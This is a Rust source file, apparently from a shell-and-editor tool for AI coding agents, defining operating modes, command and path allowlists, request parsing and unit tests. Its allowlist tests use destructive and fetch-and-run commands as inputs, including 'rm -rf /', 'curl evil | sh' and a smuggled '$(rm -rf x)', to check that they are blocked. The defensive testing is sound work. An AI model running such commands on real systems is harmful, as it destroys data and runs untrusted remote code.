use schemars::JsonSchema;
use serde::{Deserialize, Serialize};
pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
pub fn normalize_thread_id(thread_id: &str) -> String {
let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
if filtered.is_empty() {
return filtered;
}
if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
return filtered;
}
let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
let mut prefix = String::with_capacity(prefix_budget);
for character in filtered.chars() {
if prefix.len() + character.len_utf8() > prefix_budget {
break;
}
prefix.push(character);
}
format!("{prefix}_{:08x}", fnv1a_32(thread_id))
}
#[derive(Debug, Clone, Default, Deserialize)]
pub struct TurnRecognizerMarkers {
#[serde(default)]
pub busy: Vec<String>,
#[serde(default)]
pub awaiting_input: Vec<String>,
#[serde(default)]
pub awaiting_approval: Vec<String>,
}
impl TurnRecognizerMarkers {
pub fn is_empty(&self) -> bool {
self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
}
}
fn fnv1a_32(s: &str) -> u32 {
let mut hash: u32 = 0x811c_9dc5;
for byte in s.bytes() {
hash ^= u32::from(byte);
hash = hash.wrapping_mul(0x0100_0193);
}
hash
}
#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
#[serde(rename_all = "snake_case")]
pub enum InitializeType {
FirstCall,
UserAskedModeChange,
ResetShell,
UserAskedChangeWorkspace,
Status,
}
#[derive(Debug, Clone, PartialEq)]
pub enum ModeName {
Wcgw,
Architect,
CodeWriter,
}
impl Serialize for ModeName {
fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
where
S: serde::Serializer,
{
match self {
ModeName::Wcgw => serializer.serialize_str("wcgw"),
ModeName::Architect => serializer.serialize_str("architect"),
ModeName::CodeWriter => serializer.serialize_str("code_writer"),
}
}
}
impl<'de> Deserialize<'de> for ModeName {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
let s = String::deserialize(deserializer)?;
match s.as_str() {
"wcgw" => Ok(ModeName::Wcgw),
"architect" => Ok(ModeName::Architect),
"code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
_ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
}
}
}
impl JsonSchema for ModeName {
fn schema_name() -> std::borrow::Cow<'static, str> {
"ModeName".into()
}
fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
schemars::json_schema!({
"type": "string",
"enum": ["wcgw", "architect", "code_writer"],
"description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
})
}
}
#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
pub struct CodeWriterConfig {
#[serde(default)]
pub allowed_globs: AllowedGlobs,
#[serde(default)]
pub allowed_commands: AllowedCommands,
}
impl CodeWriterConfig {
pub fn update_relative_globs(&mut self, workspace_root: &str) {
if let AllowedGlobs::List(globs) = &self.allowed_globs {
let updated_globs = globs
.iter()
.map(|glob| {
if std::path::Path::new(glob).is_absolute() {
glob.clone()
} else {
format!("{workspace_root}/{glob}")
}
})
.collect();
self.allowed_globs = AllowedGlobs::List(updated_globs);
}
}
}
#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
#[serde(untagged)]
pub enum AllowedGlobs {
All(String),
List(Vec<String>),
}
impl Default for AllowedGlobs {
fn default() -> Self {
AllowedGlobs::All("all".to_string())
}
}
impl AllowedGlobs {
pub fn normalize(&mut self) {
if let AllowedGlobs::List(items) = self {
if items.len() == 1 && items[0] == "all" {
*self = AllowedGlobs::All("all".to_string());
}
}
}
#[allow(dead_code)]
pub fn is_allowed(&self, path: &str) -> bool {
match self {
AllowedGlobs::All(s) if s == "all" => true,
AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
Ok(pattern) => pattern.matches(path),
Err(_) => false,
}),
AllowedGlobs::All(_) => false,
}
}
}
#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
#[serde(untagged)]
pub enum AllowedCommands {
All(String),
List(Vec<String>),
}
impl Default for AllowedCommands {
fn default() -> Self {
AllowedCommands::All("all".to_string())
}
}
impl AllowedCommands {
pub fn normalize(&mut self) {
if let AllowedCommands::List(items) = self {
if items.len() == 1 && items[0] == "all" {
*self = AllowedCommands::All("all".to_string());
}
}
}
pub fn is_allowed(&self, command_line: &str) -> bool {
match self {
AllowedCommands::All(s) if s == "all" => true,
AllowedCommands::All(_) => false,
AllowedCommands::List(commands) => {
match crate::utils::bash_parser::extract_command_texts(command_line) {
Ok(cmds) if !cmds.is_empty() => cmds
.iter()
.all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
_ => false,
}
}
}
}
}
fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
let cmd = cmd.trim();
let allowed = allowed.trim();
if allowed.is_empty() {
return false;
}
cmd == allowed
|| cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
}
#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
pub struct Initialize {
#[serde(rename = "type")]
#[serde(default = "default_init_type")]
pub init_type: InitializeType,
pub any_workspace_path: String,
#[serde(default)]
pub initial_files_to_read: Vec<String>,
#[serde(default = "String::new")]
#[serde(deserialize_with = "deserialize_string_or_null")]
pub task_id_to_resume: String,
#[serde(default = "default_mode_name")]
pub mode_name: ModeName,
#[serde(default)]
#[serde(deserialize_with = "deserialize_string_or_null")]
pub thread_id: String,
#[serde(default)]
#[serde(deserialize_with = "deserialize_code_writer_config")]
pub code_writer_config: Option<CodeWriterConfig>,
}
fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
where
D: serde::Deserializer<'de>,
{
let result = serde_json::Value::deserialize(deserializer)?;
match result {
serde_json::Value::Null => Ok(String::new()),
serde_json::Value::String(s) => {
if s == "null" {
Ok(String::new())
} else {
Ok(s)
}
}
_ => match serde_json::to_string(&result) {
Ok(s) => Ok(s),
Err(_) => Ok(String::new()),
},
}
}
fn deserialize_code_writer_config<'de, D>(
deserializer: D,
) -> Result<Option<CodeWriterConfig>, D::Error>
where
D: serde::Deserializer<'de>,
{
let value = serde_json::Value::deserialize(deserializer)?;
match value {
serde_json::Value::Null => Ok(None),
serde_json::Value::String(s) if s == "null" => Ok(None),
_ => {
match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
Ok(config) => {
tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
Ok(Some(config))
}
Err(e) => {
tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
Err(serde::de::Error::custom(format!(
"Invalid code_writer config: {e}. Refusing to start with a permissive \
fallback — fix the allowed_commands / allowed_globs shape (or pass null \
to opt out explicitly)."
)))
}
}
}
}
}
fn default_mode_name() -> ModeName {
ModeName::Wcgw
}
fn default_init_type() -> InitializeType {
InitializeType::FirstCall
}
#[derive(Debug, Clone, Copy, PartialEq)]
pub enum Modes {
Wcgw,
Architect,
CodeWriter,
}
impl From<&ModeName> for Modes {
fn from(name: &ModeName) -> Self {
match name {
ModeName::Wcgw => Modes::Wcgw,
ModeName::Architect => Modes::Architect,
ModeName::CodeWriter => Modes::CodeWriter,
}
}
}
impl std::fmt::Display for Modes {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Modes::Wcgw => write!(f, "wcgw"),
Modes::Architect => write!(f, "architect"),
Modes::CodeWriter => write!(f, "code_writer"),
}
}
}
impl JsonSchema for Modes {
fn schema_name() -> std::borrow::Cow<'static, str> {
"Modes".into()
}
fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
schemars::json_schema!({
"type": "string",
"enum": ["wcgw", "architect", "code_writer"]
})
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
pub enum SpecialKey {
Enter,
#[serde(rename = "Key-up")]
KeyUp,
#[serde(rename = "Key-down")]
KeyDown,
#[serde(rename = "Key-left")]
KeyLeft,
#[serde(rename = "Key-right")]
KeyRight,
#[serde(rename = "Ctrl-c")]
CtrlC,
#[serde(rename = "Ctrl-d")]
CtrlD,
#[serde(rename = "Ctrl-z")]
CtrlZ,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct ReadFiles {
pub file_paths: Vec<String>,
#[serde(default)]
pub thread_id: String,
#[serde(skip)]
#[schemars(skip)]
pub start_line_nums: Vec<Option<usize>>,
#[serde(skip)]
#[schemars(skip)]
pub end_line_nums: Vec<Option<usize>>,
}
impl<'de> Deserialize<'de> for ReadFiles {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
#[derive(Deserialize)]
struct ReadFilesHelper {
file_paths: Option<Vec<String>>,
#[serde(default)]
thread_id: Option<String>,
}
let input = serde_json::Value::deserialize(deserializer)?;
if !input.is_object() {
if input.is_null() {
return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
}
return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
}
let helper: ReadFilesHelper = serde_json::from_value(input)
.map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
let thread_id = helper.thread_id.unwrap_or_default();
let file_paths = match helper.file_paths {
Some(paths) if !paths.is_empty() => paths,
Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
None => return Err(serde::de::Error::custom("file_paths is required.")),
};
let mut clean_file_paths = Vec::with_capacity(file_paths.len());
let mut start_line_nums = Vec::with_capacity(file_paths.len());
let mut end_line_nums = Vec::with_capacity(file_paths.len());
for path in file_paths {
let (clean_path, start, end) = parse_file_path_with_line_range(&path);
clean_file_paths.push(clean_path);
start_line_nums.push(start);
end_line_nums.push(end);
}
Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
}
}
fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
return (path.to_string(), None, None);
};
let Some((start, end)) = parse_line_spec(line_spec) else {
return (path.to_string(), None, None);
};
(potential_path.to_string(), start, end)
}
fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
if line_spec.chars().all(|c| c.is_ascii_digit()) {
return line_spec.parse().ok().map(|line| (Some(line), None));
}
let (start, end) = line_spec.split_once('-')?;
if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
return end.parse().ok().map(|line| (None, Some(line)));
}
if !start.is_empty()
&& start.chars().all(|c| c.is_ascii_digit())
&& (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
{
let start = start.parse().ok()?;
let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
return Some((Some(start), end));
}
None
}
impl ReadFiles {
pub fn show_line_numbers(&self) -> bool {
true
}
pub fn get_clean_path(&self, index: usize) -> String {
parse_file_path_with_line_range(&self.file_paths[index]).0
}
}
fn default_true() -> bool {
true
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
#[serde(tag = "type", rename_all = "snake_case")]
pub enum BashCommandAction {
Command {
command: String,
#[serde(default)]
is_background: bool,
#[serde(default)]
allow_multi: bool,
},
StatusCheck {
#[serde(default = "default_true")]
status_check: bool,
bg_command_id: Option<String>,
#[serde(default)]
scrollback_lines: Option<usize>,
#[serde(default)]
verbose: bool,
},
SendText {
#[schemars(length(min = 1))]
send_text: String,
bg_command_id: Option<String>,
#[serde(default)]
submit: bool,
},
SendSpecials {
send_specials: Vec<SpecialKey>,
bg_command_id: Option<String>,
#[serde(default)]
submit: bool,
},
SendAscii {
send_ascii: Vec<u8>,
bg_command_id: Option<String>,
#[serde(default)]
submit: bool,
},
Screen {
#[serde(default = "default_true")]
screen: bool,
bg_command_id: Option<String>,
#[serde(default)]
lines: Option<usize>,
#[serde(default)]
diff: bool,
},
WaitForTurn {
#[serde(default = "default_true")]
wait_for_turn: bool,
bg_command_id: Option<String>,
#[serde(default)]
recognizer: Option<String>,
#[serde(default)]
quiet_ms: Option<u64>,
#[serde(default)]
timeout_seconds: Option<f32>,
#[serde(default)]
lines: Option<usize>,
#[serde(default)]
wait_through_busy: bool,
},
}
#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
#[serde(rename_all = "snake_case")]
pub enum BashWaitPolicy {
#[default]
Adaptive,
ReturnEarly,
UntilComplete,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct BashCommand {
pub action_json: BashCommandAction,
#[serde(default)]
#[serde(skip_serializing_if = "Option::is_none")]
pub wait_for_seconds: Option<f32>,
#[serde(default)]
pub thread_id: String,
}
impl<'de> Deserialize<'de> for BashCommand {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
let input = serde_json::Value::deserialize(deserializer)?;
let serde_json::Value::Object(mut map) = input else {
return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
};
let wait_for_seconds = map
.remove("wait_for_seconds")
.map(serde_json::from_value)
.transpose()
.map_err(serde::de::Error::custom)?;
map.remove("wait_policy")
.map(serde_json::from_value::<BashWaitPolicy>)
.transpose()
.map_err(serde::de::Error::custom)?;
let thread_id = map
.remove("thread_id")
.map(thread_id_from_value)
.transpose()
.map_err(serde::de::Error::custom)?
.unwrap_or_default();
let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
let action_json = match action_json_value {
serde_json::Value::String(s) => {
let sanitized = s.replace('\n', " ");
match serde_json::from_str(&sanitized) {
Ok(json) => normalize_action_json(json),
Err(e) => {
tracing::warn!(
"Failed to parse action_json as JSON, trying fallback: {}",
e
);
if s.contains("command") && s.contains('{') && s.contains('}') {
tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
let re_sanitized = s
.replace('\n', "\\n") .replace('\r', "\\r") .replace('\t', "\\t");
let re_sanitized = if !s.contains('"') && s.contains(':') {
tracing::debug!("Attempting to fix unquoted JSON keys/values");
re_sanitized
} else {
re_sanitized
};
match serde_json::from_str(&re_sanitized) {
Ok(json) => normalize_action_json(json),
Err(err) => {
tracing::error!("Secondary JSON parse error: {}", err);
serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
}
}
} else {
tracing::info!(
bytes = s.len(),
"Treating action_json as simple command"
);
serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
}
}
}
}
value => normalize_action_json(value),
};
let action: BashCommandAction =
serde_json::from_value(action_json.clone()).map_err(|e| {
tracing::error!(
bytes = action_json.to_string().len(),
"Failed to deserialize action_json to BashCommandAction: {}",
e
);
let err_str = e.to_string();
if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
return serde::de::Error::custom(format!(
"JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
));
}
serde::de::Error::custom(format!(
"Invalid action_json: {e}. Please ensure your JSON is properly formatted."
))
})?;
Ok(BashCommand {
action_json: action,
wait_for_seconds,
thread_id: normalize_thread_id(&thread_id),
})
}
}
fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
match value {
serde_json::Value::Null => Ok(String::new()),
serde_json::Value::String(value) => Ok(value),
other => Err(format!("thread_id must be a string or null, got {other}")),
}
}
fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
let serde_json::Value::Object(map) = &mut value else {
return value;
};
if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
*command = sanitize_shell_string(command);
}
if map.contains_key("type") {
return value;
}
let inferred_type = if map.contains_key("command") {
Some("command")
} else if map.contains_key("status_check") {
Some("status_check")
} else if map.contains_key("send_text") {
Some("send_text")
} else if map.contains_key("send_specials") {
Some("send_specials")
} else if map.contains_key("send_ascii") {
Some("send_ascii")
} else if map.contains_key("screen") {
Some("screen")
} else if map.contains_key("wait_for_turn") {
Some("wait_for_turn")
} else {
None
};
if let Some(action_type) = inferred_type {
map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
}
value
}
fn sanitize_shell_string(value: &str) -> String {
value.replace('\0', "\\x00")
}
#[derive(Debug, Clone, JsonSchema, PartialEq)]
pub struct BashCommandMode {
pub bash_mode: BashMode,
pub allowed_commands: AllowedCommands,
}
#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
pub enum BashMode {
NormalMode,
RestrictedMode,
}
#[derive(Debug, Clone, JsonSchema, PartialEq)]
pub struct FileEditMode {
pub allowed_globs: AllowedGlobs,
}
#[derive(Debug, Clone, JsonSchema, PartialEq)]
pub struct WriteIfEmptyMode {
pub allowed_globs: AllowedGlobs,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct FileWriteOrEdit {
pub file_path: String,
pub percentage_to_change: u32,
pub text_or_search_replace_blocks: String,
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema, PartialEq)]
pub struct LinePatch {
pub start_line: usize,
pub delete_lines: usize,
pub replacement: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct ApplyPatch {
pub file_path: String,
pub expected_revision: String,
pub patches: Vec<LinePatch>,
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct FileEditEntry {
pub file_path: String,
pub percentage_to_change: u32,
pub text_or_search_replace_blocks: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct MultiFileEdit {
pub files: Vec<FileEditEntry>,
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct VerifyEdit {
pub verification_id: String,
pub command: String,
#[serde(default)]
pub wait_for_seconds: Option<f32>,
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct UndoEdit {
pub file_path: String,
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct ContextSave {
pub id: String,
pub project_root_path: String,
pub description: String,
pub relevant_file_globs: Vec<String>,
#[serde(default)]
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct ReadImage {
pub file_path: String,
#[serde(default)]
pub thread_id: String,
#[serde(default)]
pub force: bool,
}
#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
#[serde(rename_all = "snake_case")]
pub enum CodeMapOperation {
Outline,
References,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct CodeMap {
pub operation: CodeMapOperation,
#[serde(default)]
pub path: String,
#[serde(default)]
pub name: String,
#[serde(default)]
pub max_results: usize,
#[serde(default)]
pub query: String,
#[serde(default)]
pub cursor: String,
#[serde(default)]
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct Outline {
#[serde(default)]
pub path: String,
#[serde(default)]
pub max_results: usize,
#[serde(default)]
pub query: String,
#[serde(default)]
pub cursor: String,
#[serde(default)]
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct OutlineSymbol {
pub name: String,
pub kind: String,
pub line: usize,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct OutlineFile {
pub file: String,
pub symbols: Vec<OutlineSymbol>,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct CodeMapFallback {
pub tool: String,
pub file_paths: Vec<String>,
pub reason: String,
pub temporary_artifact_dir: String,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct OutlineOutput {
pub mode: String,
pub files_shown: usize,
pub files: Vec<OutlineFile>,
pub truncated: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub next_cursor: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub snapshot_hash: Option<String>,
pub files_scanned: usize,
pub payload_bytes: usize,
#[serde(skip_serializing_if = "Option::is_none")]
pub file_extension: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub language_supported: Option<bool>,
#[serde(skip_serializing_if = "Option::is_none")]
pub fallback: Option<CodeMapFallback>,
}
#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
pub struct FindReferences {
pub name: String,
#[serde(default)]
pub path: String,
#[serde(default)]
pub max_results: usize,
#[serde(default)]
pub thread_id: String,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct ReferenceHit {
pub file: String,
pub line: usize,
pub kind: String,
pub is_definition: bool,
}
#[derive(Debug, Clone, Serialize, JsonSchema)]
pub struct ReferencesOutput {
pub name: String,
pub definitions: usize,
pub references: usize,
pub truncated: bool,
pub payload_bytes: usize,
pub hits: Vec<ReferenceHit>,
}
#[derive(Debug, Clone, Copy, Serialize, JsonSchema)]
pub struct CodeMapTemporaryHelperBudget {
pub calls_used: usize,
pub calls_limit: usize,
pub unique_files_used: usize,
pub unique_files_limit: usize,
}
#[derive(Debug, Clone, JsonSchema)]
pub struct CodeMapStructuredOutput {
pub truncated: bool,
pub next_cursor: Option<String>,
pub snapshot_hash: Option<String>,
pub files_scanned: Option<usize>,
pub payload_bytes: Option<usize>,
pub source_kind: Option<String>,
pub canonical: Option<bool>,
pub temporary_helper_budget: Option<CodeMapTemporaryHelperBudget>,
pub mode: Option<String>,
pub files_shown: Option<usize>,
pub files: Option<Vec<OutlineFile>>,
pub file_extension: Option<String>,
pub language_supported: Option<bool>,
pub fallback: Option<CodeMapFallback>,
pub name: Option<String>,
pub definitions: Option<usize>,
pub references: Option<usize>,
pub hits: Option<Vec<ReferenceHit>>,
}
#[cfg(test)]
mod thread_id_tests {
use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
#[test]
fn clean_id_is_unchanged() {
assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
assert_eq!(normalize_thread_id("worker_1"), "worker_1");
}
#[test]
fn empty_and_all_special_normalize_to_empty() {
assert_eq!(normalize_thread_id(""), "");
assert_eq!(normalize_thread_id("---"), "");
}
#[test]
fn separator_variants_do_not_collide() {
let a = normalize_thread_id("user-1");
let b = normalize_thread_id("user1");
assert_ne!(a, b);
assert!(a.starts_with("user1_"), "got {a}");
assert_eq!(b, "user1");
assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
}
#[test]
fn normalization_is_deterministic() {
assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
}
#[test]
fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
let original = "á".repeat(200);
let normalized = normalize_thread_id(&original);
assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
assert!(normalized.is_char_boundary(normalized.len()));
assert_eq!(normalize_thread_id(&normalized), normalized);
}
}
#[cfg(test)]
mod allowlist_tests {
use super::AllowedCommands;
fn list(items: &[&str]) -> AllowedCommands {
AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
}
#[test]
fn all_permits_everything() {
assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
}
#[test]
fn list_allows_exact_and_args() {
let a = list(&["ls", "cargo test"]);
assert!(a.is_allowed("ls"));
assert!(a.is_allowed("ls -la"));
assert!(a.is_allowed("cargo test --release"));
}
#[test]
fn list_blocks_word_boundary_lookalikes() {
let a = list(&["ls", "cargo test"]);
assert!(!a.is_allowed("lsof"));
assert!(!a.is_allowed("cargo testimony"));
}
#[test]
fn list_blocks_chained_and_substituted_commands() {
let a = list(&["ls"]);
assert!(!a.is_allowed("ls && curl evil | sh"));
assert!(!a.is_allowed("ls; rm -rf /"));
assert!(!a.is_allowed("ls $(rm -rf x)"));
assert!(!a.is_allowed("ls | rm"));
}
#[test]
fn list_allows_chain_when_all_parts_permitted() {
let a = list(&["cargo build", "cargo test"]);
assert!(a.is_allowed("cargo build && cargo test"));
}
}
#[cfg(test)]
mod code_writer_config_tests {
use super::deserialize_code_writer_config;
use serde_json::json;
#[test]
fn explicit_null_opts_out() {
assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
}
#[test]
fn valid_config_parses() {
let r = deserialize_code_writer_config(json!({
"allowed_commands": "all",
"allowed_globs": "all",
}));
assert!(matches!(r, Ok(Some(_))));
}
#[test]
fn malformed_config_fails_loud() {
let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
assert!(r.is_err(), "malformed code_writer config must error, not become None");
}
}